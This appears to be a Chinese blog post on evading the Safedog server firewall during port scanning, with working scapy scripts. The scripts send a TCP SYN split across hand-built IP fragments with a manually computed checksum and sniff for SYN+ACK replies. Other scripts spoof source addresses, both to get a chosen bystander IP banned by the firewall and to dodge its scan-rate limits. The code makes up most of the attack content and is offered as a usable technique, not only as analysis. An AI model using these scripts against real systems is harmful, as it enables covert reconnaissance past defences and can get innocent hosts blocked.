1. 程式人生 > >端口掃描繞過實踐

端口掃描繞過實踐

學習 img cap 目的 適合 commit check rbo socket

0x00 前言

在一次自己做的檢測爆破和CC攻擊的工具中,感覺紕漏有很多,再次想到了安全狗是如何做防禦的,嘗試地去繞過安全狗。也去使用學到的TCP/IP知識去實踐一波。

0x01 過程

端口掃描地時候全接連和半連接比較穩定,而安全狗是對接受帶有SYN的TCP報文有檢測機制,如果在10秒鐘內累計200個則會觸發防禦機制,會封掉該IP。後來想到使用分片,看看安全狗是否會對分片的數據包進行重組,以及對偽造ip是如何處理的。
技術分享圖片

環境:Linux、python2.7
庫:scapy(這個庫只適合學習用,真實環境用不了,速度太慢了,即使是無狀態的端口掃描也是無法忍受)

IP包

只有在使用端口使用分片進行繞過。如何進行分片,需要對IPs數據包格式了解,IP固定頭部20個字節,在分片中比較關註的是:
標識 (Identification):相同的標識字段的值使分片後的各數據報片最後能正確地重裝成為原來的數據報。
標誌 (Flags):占3 位,但目前只有2位有意義. 標誌字段中的最低位記為 MF(More Fragment).MF=1即表示後面"還有分片"的數據報.MF=0表示這已是若幹數據報片中的最後一個.標誌字段中間的一位記為DF(Don‘t Fragment),意思是"不能分片",只有當 DF=0時才允許分片.
片偏移(Fragment offset):占13位,較長的分組在分片後,某片在原分組中的相對位置.也就是說,相對用戶數據字段的起點,該片從何處開始.片偏移以 8個字節為偏移單位,這就是說,每個分片的長度一定是 8字節(64位)的整數倍.

其他的比如校驗和、ttl值scapy會自行處理的。這裏proto=0x06為tcp協議、flags=0x01需要分片、frag=0、1、2分片順序。

one_part_request = IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=0)
two_part_request = IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=1)
three_part_request = IP(dst=dst_ip, ttl=49, flags=0x00, proto=0x06, id=packet_id, frag=2)

TCP報文

在構造TCP報文的時候,只有校驗和的構造比較麻煩了點。我直接抓取從wireshark中抓取了第一個握手報文,

1、TCP/UDP會額外將一個偽首部加入計算,偽首部包括:32bit的源/目的IP地址,8bit的補零,8bit的協議號,以及16bit的TCP/UDP報文長度(頭+數據)
2、需要將校驗和的兩個字段設置為0x0000,下面data3的前面兩個字節就是校驗和,已經置0。

data1 = ‘\xb2\x00\x00\x50\xd7\x23\xb8\xa9‘
data2 = ‘\x00\x00\x00\x00\x50\x02\x04\x00‘
data3 = ‘\x00\x00\x00\x00‘

phdr = pseudo_header(one_part_request.src, one_part_request.dst, socket.IPPROTO_TCP, len(tcp_raw))

path_int = checksum(phdr + tcp_raw)

path_hex = format(path_int, ‘04x‘)
print(path_hex)

data3 = path_hex.decode(‘hex‘) + data3[2:]

這樣TCP報文也構造好了。

from scapy.all import *

def pseudo_header(ip_src, ip_dst, ip_proto, length):
    """
    Return a pseudo header according to RFC768
    """
    # Prepare the binary representation of the pseudo header
    return struct.pack("!4s4sHH", inet_aton(ip_src), inet_aton(ip_dst), ip_proto, length)

#data
data1 = ‘\xb2\x00\x00\x50\xd7\x23\xb8\xa9‘
data2 = ‘\x00\x00\x00\x00\x50\x02\x04\x00‘
data3 = ‘\x00\x00\x00\x00‘

dst_ip = ‘192.168.100.101‘
packet_id = random.randint(10000, 2**16-1)

tcp_raw = data1 + data2 + data3

# set parameters for ip packet
one_part_request = IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=0)
two_part_request = IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=1)
three_part_request = IP(dst=dst_ip, ttl=49, flags=0x00, proto=0x06, id=packet_id, frag=2)

# repleace checksum in data3
phdr = pseudo_header(one_part_request.src, one_part_request.dst, socket.IPPROTO_TCP, len(tcp_raw))

path_int = checksum(phdr + tcp_raw)

path_hex = format(path_int, ‘04x‘)
print(path_hex)

data3 = path_hex.decode(‘hex‘) + data3[2:]

# send
send(one_part_request / Raw(data1), verbose=False, return_packets=False)
send(two_part_request / Raw(data2), verbose=False, return_packets=False)
send(three_part_request / Raw(data3), verbose=False, return_packets=False)

上面的比較復雜,因為是對scapy包不熟,下面使用scapy構造tcp包。
使用scrapy構造好的分片

監聽

采用無狀態掃描,監聽網卡的返回報文,分析是否端口是否開放,這裏filter是使用tcpdump的語法。

from scapy.all import *

iface = ‘eth0‘
target_ip = ‘192.168.100.101‘

def prn(pkt):
    print(pkt[IP].src + ":" + str(pkt[IP].sport) + " open")

def listen_port():
    sniff(iface=iface, filter=‘tcp and src host %s and tcp[13:1] = 18‘%target_ip, prn=prn)

listen_port()

192.168.100.100是掃描器ip,192.168.100.101是目標ip。
wireshark抓包可以看到發送了三個IPv4數據包,然後192.168.100.101返回了SYN+ACK的報文。
技術分享圖片

我們的監聽器也監聽到了:

192.168.100.101:80 open

查看下報文:這裏由於IP包小於60個字節,鏈路層會用0x00填充填充到60個字節
技術分享圖片

0x02 偽造源ip

發現還可以偽造源IP,因為就在同一個網段,所以能夠進行偽造ip。而安全狗直接將解析IP包裏面的ip作為真正的ip。

誤封ip

由於偽造ip,可以禁止某ip訪問安裝安全狗的服務器。

from scapy.all import *

for i in range(1,1000):
    send(IP(src="192.168.100.133",dst="192.168.100.101") / TCP(sport=RandShort(),dport=i),verbose=False)

繞過頻率限制

from scapy.all import *
import socket

ip = socket.inet_ntoa(struct.pack(‘>I‘, random.randint(1, 0xffffffff)))

for i in range(435,446):
    send(IP(src=ip,dst="192.168.100.101") / TCP(sport=RandShort(),dport=i),verbose=False)

偽造源ip的時候,還是會返回到本機上。當B收到A的數據包後,直接進行A到B的反向MAC替換過程。反向過程中,每一步省略掉ARP請求NEXT HOP的MAC,因為MAC表已經建立起來。不需要通過ip和子網掩碼計算是否在同一網段,決定是否直接發送目的ip還是路由。所以偽造了源ip,但是還是可以接受到返回報文,而安全狗記錄卻是那些偽造的ip。

上面針對同一網段的ip,如果有nat,源ip和端口會變,所以即使偽造訪問的也是你的真實ip,並且接收不到不到返回報文,因為是網關會瘋狂發arp報文,尋找這些偽造ip,192.168.100.2瘋狂tell這些偽造的源IP
技術分享圖片

參考

https://www.itread01.com/content/1504457779.html
TCP checksum計算
https://github.com/secdev/scapy/pull/691/commits/10210cbe4ba2b1173c8eb3511cad1e296c696edd
http://www.voidcn.com/article/p-htnclmhf-wq.html

端口掃描繞過實踐